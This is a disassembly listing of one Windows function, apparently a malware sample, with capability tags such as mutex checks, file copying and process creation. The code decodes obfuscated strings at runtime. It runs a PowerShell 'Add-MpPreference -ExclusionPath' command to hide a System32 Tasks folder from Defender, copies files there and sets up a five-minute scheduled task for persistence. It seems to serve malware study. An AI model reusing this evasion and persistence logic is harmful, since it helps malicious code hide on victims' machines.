Function at 0x402860
Capabilities:
Accept command line arguments
Check mutex on windows
Copy file
Create process on windows
Enumerate files on windows
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x958
mov eax, dword [0x4a337c]
xor eax, esp
mov dword [esp + 0x954], eax
mov eax, dword fs:[0x2c]
push esi
push edi
mov dword [esp + 0x10], 0xa231b3bc
mov edi, dword [eax]
mov dword [esp + 0x14], 0x5e7a81fb
mov dword [esp + 0x18], 0xe33dae8d
mov dword [esp + 0xc], edi
mov eax, dword [edi + 0x138]
test al, 1
jne 0x4028f5
xorps xmm0, xmm0
mov byte [edi + 0x1ac], 1
or eax, 1
movlpd qword [esp + 0x20], xmm0
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [edi + 0x138], eax
nop dword [eax + eax]
mov al, byte [esp + ecx + 0x10]
mov byte [ecx + edi + 0x1a0], al
add ecx, 1
adc edx, 0
jne 0x4028e8
cmp ecx, 0xc
jb 0x4028d0
push 0x47ff50
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0x1ac], 0
lea eax, [edi + 0x1a0]
mov dword [esp + 0x20], eax
je 0x402956
mov edi, dword [esp + 0x20]
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov dword [esp + 8], eax
mov ecx, esi
mov eax, 0xe345cbf9
and ecx, 7
mov edx, 0x2b37f18b
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 8], 0
jne 0x40294a
cmp esi, 0xc
jb 0x402921
mov eax, dword [esp + 0x20]
mov byte [edi + 0xc], 0
mov edi, dword [esp + 0xc]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4032ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4032ac
mov esi, 0x3b
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esi, 1
jne 0x402980
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], esi
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x20], 1
jle 0x4029c8
call fcn.00401f10
pop edi
pop esi
mov ecx, dword [esp + 0x954]
xor ecx, esp
call fcn.0045aab3
mov esp, ebp
pop ebp
ret 0x10
push 0x104
lea eax, [esp + 0x434]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x430]
push 0x5c
push eax
call fcn.0045c570
add esp, 8
test eax, eax
je 0x4029f7
mov byte [eax + 1], 0
movaps xmm0, xmmword [0x49f140]
mov eax, dword [edi + 0x140]
mov dword [esp + 0x3c], 0x12171e12
mov dword [esp + 0x40], 0x5636fa73
mov word [esp + 0x44], 0x31e
mov byte [esp + 0x46], 0x79
movups xmmword [esp + 0x2c], xmm0
test al, 1
jne 0x402a75
xorps xmm0, xmm0
mov byte [edi + 0x173], 1
or eax, 1
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [edi + 0x140], eax
nop word [eax + eax]
mov al, byte [esp + ecx + 0x2c]
mov byte [ecx + edi + 0x158], al
add ecx, 1
adc edx, 0
jne 0x402a68
cmp ecx, 0x1b
jb 0x402a50
push 0x47ff10
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0x173], 0
lea eax, [edi + 0x158]
mov dword [esp + 8], eax
je 0x402ad6
mov edi, dword [esp + 8]
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x20], eax
mov ecx, esi
mov eax, 0x5179717b
and ecx, 7
mov edx, 0x3d559f1b
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 0x20], 0
jne 0x402aca
cmp esi, 0x1b
jb 0x402aa1
mov eax, dword [esp + 8]
mov byte [edi + 0x1b], 0
mov edi, dword [esp + 0xc]
push 0x104
lea ecx, [esp + 0x32c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 0x328]
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0xf
lea edx, [ecx + 1]
mov byte [esp + 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b10
sub ecx, edx
lea eax, [esp + 0x328]
push ecx
push eax
lea ecx, [esp + 0x34]
call fcn.004042e0
lea ecx, [esp + 0x2c]
call fcn.00405430
mov edx, dword [esp + 0x40]
cmp edx, 0x10
jb 0x402b6a
mov ecx, dword [esp + 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402b60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032c7
push edx
push ecx
call fcn.0045aaf9
add esp, 8
mov ecx, 0x49eee0
call fcn.00405620
mov ecx, str.Add_MpPreference__ExclusionPath__env:SystemRootSystem32TasksMicrosoftWindows
call fcn.00405620
movaps xmm0, xmmword [0x49f100]
mov eax, dword [edi + 0xec]
mov dword [esp + 0x3c], 0x1c060a55
mov dword [esp + 0x40], 0x6914bc6f
movups xmmword [esp + 0x2c], xmm0
test al, 1
jne 0x402bf5
xorps xmm0, xmm0
mov byte [edi + 0x134], 1
or eax, 1
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [edi + 0xec], eax
nop word [eax + eax]
mov al, byte [esp + ecx + 0x2c]
mov byte [ecx + edi + 0x11c], al
add ecx, 1
adc edx, 0
jne 0x402be8
cmp ecx, 0x18
jb 0x402bd0
push 0x47fed0
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0x134], 0
lea edx, [edi + 0x11c]
mov dword [esp + 8], edx
je 0x402c55
xorps xmm0, xmm0
mov edi, edx
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x20], eax
nop
mov ecx, esi
mov eax, 0x3369637b
and ecx, 7
mov edx, 0x696dc51b
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 0x20], 0
jne 0x402c49
cmp esi, 0x18
jb 0x402c20
mov edx, dword [esp + 8]
mov byte [edi + 0x18], 0
mov edi, dword [esp + 0xc]
mov ecx, edx
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0xf
mov byte [esp + 0x2c], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c70
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x34]
call fcn.004042e0
movaps xmm0, xmmword [0x49f110]
mov eax, dword [edi + 0x198]
mov word [esp + 0x70], 0xd55f
movups xmmword [esp + 0x60], xmm0
test al, 1
jne 0x402ce7
xorps xmm0, xmm0
mov byte [edi + 0x156], 1
or eax, 1
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [edi + 0x198], eax
mov al, byte [esp + ecx + 0x60]
mov byte [ecx + edi + 0x144], al
add ecx, 1
adc edx, 0
jne 0x402cda
cmp ecx, 0x12
jb 0x402cc2
push 0x47fe90
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0x156], 0
lea edx, [edi + 0x144]
mov dword [esp + 8], edx
je 0x402d46
xorps xmm0, xmm0
mov edi, edx
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x20], eax
mov ecx, esi
mov eax, 0x5949d57f
and ecx, 7
mov edx, 0x69bd2b5b
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 0x20], 0
jne 0x402d3a
cmp esi, 0x12
jb 0x402d11
mov edx, dword [esp + 8]
mov byte [edi + 0x12], 0
mov edi, dword [esp + 0xc]
mov ecx, edx
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
mov byte [esp + 0x48], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d60
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x50]
call fcn.004042e0
cmp dword [esp + 0x40], 0x10
lea edx, [esp + 0x2c]
mov eax, dword [esp + 0x5c]
cmovae edx, dword [esp + 0x2c]
mov esi, dword [esp + 0x58]
sub eax, esi
mov ecx, dword [esp + 0x3c]
push ecx
push edx
cmp ecx, eax
ja 0x402dc0
cmp dword [esp + 0x64], 0x10
lea eax, [ecx + esi]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x50]
cmovae eax, dword [esp + 0x50]
add esi, eax
push esi
call fcn.0045cf70
mov eax, dword [esp + 0x48]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x402dd3
mov byte [esp + 0x28], 0
push dword [esp + 0x28]
push ecx
lea ecx, [esp + 0x58]
call fcn.00404960
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 0xd0]
push ecx
lea ecx, [esp + 0x8c]
mov dword [esp + 0x8c], 0x44
push ecx
push 0
push 0
push 0
xor eax, eax
mov dword [esp + 0xc8], 1
cmp dword [esp + 0x70], 0x10
xorps xmm0, xmm0
push 0
mov word [esp + 0xe2], ax
mov word [esp + 0xd0], ax
lea eax, [esp + 0x60]
cmovae eax, dword [esp + 0x60]
push 0
push 0
push eax
push 0
movlpd qword [esp + 0xb4], xmm0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
movlpd qword [esp + 0xe2], xmm0
movlpd qword [esp + 0xea], xmm0
movaps xmmword [esp + 0xf8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402f1c
mov edx, dword [esp + 0x5c]
cmp edx, 0x10
jb 0x402eba
mov ecx, dword [esp + 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402eb0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032cc
push edx
push ecx
call fcn.0045aaf9
add esp, 8
mov eax, dword [esp + 0x40]
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
mov byte [esp + 0x48], 0
cmp eax, 0x10
jb 0x402f03
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x402ef9
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032cc
push ecx
push esi
call fcn.0045aaf9
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x954]
xor ecx, esp
call fcn.0045aab3
mov esp, ebp
pop ebp
ret 0x10
movaps xmm0, xmmword [0x49f0c0]
mov eax, dword [edi + 0xcc]
mov dword [esp + 0x70], 0x40b5c67a
mov dword [esp + 0x74], 0x1e4c6401
mov word [esp + 0x78], 0xdb76
mov byte [esp + 0x7a], 0xdb
movups xmmword [esp + 0x60], xmm0
test al, 1
jne 0x402f95
xorps xmm0, xmm0
mov byte [edi + 0xeb], 1
or eax, 1
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [edi + 0xcc], eax
nop
mov al, byte [esp + ecx + 0x60]
mov byte [ecx + edi + 0xd0], al
add ecx, 1
adc edx, 0
jne 0x402f88
cmp ecx, 0x1b
jb 0x402f70
push 0x47fe50
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0xeb], 0
lea esi, [edi + 0xd0]
mov dword [esp + 8], esi
je 0x402ff6
mov edi, dword [esp + 8]
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
mov dword [esp + 0x20], eax
mov ecx, esi
mov eax, 0x3dba913
and ecx, 7
mov edx, 0x752f0169
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 0x20], 0
jne 0x402fea
cmp esi, 0x1b
jb 0x402fc1
mov esi, dword [esp + 8]
mov byte [edi + 0x1b], 0
mov edi, dword [esp + 0xc]
push 0x104
lea eax, [esp + 0x224]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x220]
push 0x5c
push eax
call fcn.0045c570
add esp, 8
test eax, eax
je 0x403025
mov byte [eax + 1], 0
push 0x104
lea eax, [esp + 0x644]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x49f08c
lea eax, [esp + 0x224]
push eax
push 0x49f090
lea eax, [esp + 0x544]
push 0x104
push eax
call fcn.004052e0
add esp, 0x14
lea eax, [esp + 0xe0]
push eax
lea eax, [esp + 0x53c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403115
test byte [esp + 0xe0], 0x10
jne 0x4030f7
lea eax, [esp + 0x10c]
push eax
lea eax, [esp + 0x224]
push eax
push 0x49f090
lea eax, [esp + 0x85c]
push 0x104
push eax
call fcn.004052e0
add esp, 0x14
lea eax, [esp + 0x10c]
push eax
lea eax, [esp + 0x644]
push eax
push str._s_s
lea eax, [esp + 0x754]
push 0x104
push eax
call fcn.004052e0
add esp, 0x14
lea eax, [esp + 0x748]
push 0
push eax
lea eax, [esp + 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0xe0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403081
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push 4
push str.PT5M
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.004042e0
movaps xmm0, xmmword [0x49f160]
mov eax, dword [edi + 0xf0]
mov dword [esp + 0x98], 0x79b8e536
mov word [esp + 0x9c], 0xd37a
movups xmmword [esp + 0x78], xmm0
movaps xmm0, xmmword [0x49f190]
movups xmmword [esp + 0x88], xmm0
test al, 1
jne 0x4031b7
xorps xmm0, xmm0
mov byte [edi + 0x11a], 1
or eax, 1
movlpd qword [esp + 0x28], xmm0
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov dword [edi + 0xf0], eax
mov al, byte [esp + ecx + 0x78]
mov byte [ecx + edi + 0xf4], al
add ecx, 1
adc edx, 0
jne 0x4031aa
cmp ecx, 0x26
jb 0x403192
push 0x47fe10
call fcn.0045aba7
add esp, 4
cmp byte [edi + 0x11a], 0
lea edi, [edi + 0xf4]
je 0x40320d
xorps xmm0, xmm0
movlpd qword [esp + 0x28], xmm0
mov eax, dword [esp + 0x2c]
mov esi, dword [esp + 0x28]
mov dword [esp + 0x38], eax
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x1ddcb53
and ecx, 7
mov edx, 0x1b4bd31f
shl ecx, 3
call fcn.0047f4b0
xor byte [esi + edi], al
add esi, 1
adc dword [esp + 0x38], 0
jne 0x403209
cmp esi, 0x26
jb 0x4031e0
mov byte [edi + 0x26], 0
mov ecx, edi
call fcn.004058b0
mov edx, dword [esp + 0x74]
add esp, 0x18
cmp edx, 0x10
jb 0x40324d
mov ecx, dword [esp + 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403243
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032cc
push edx
push ecx
call fcn.0045aaf9
add esp, 8
mov eax, dword [esp + 0x40]
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
mov byte [esp + 0x48], 0
cmp eax, 0x10
jb 0x4032b1
mov ecx, dword [esp + 0x2c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x40328c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032cc
push edx
push ecx
call fcn.0045aaf9
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 0x954]
xor ecx, esp
call fcn.0045aab3
mov esp, ebp
pop ebp
ret 0x10
mov eax, 1
mov ecx, dword [esp + 0x95c]
pop edi
pop esi
xor ecx, esp
call fcn.0045aab3
mov esp, ebp
pop ebp
ret 0x10
call fcn.004603b9
call fcn.004603b9
int3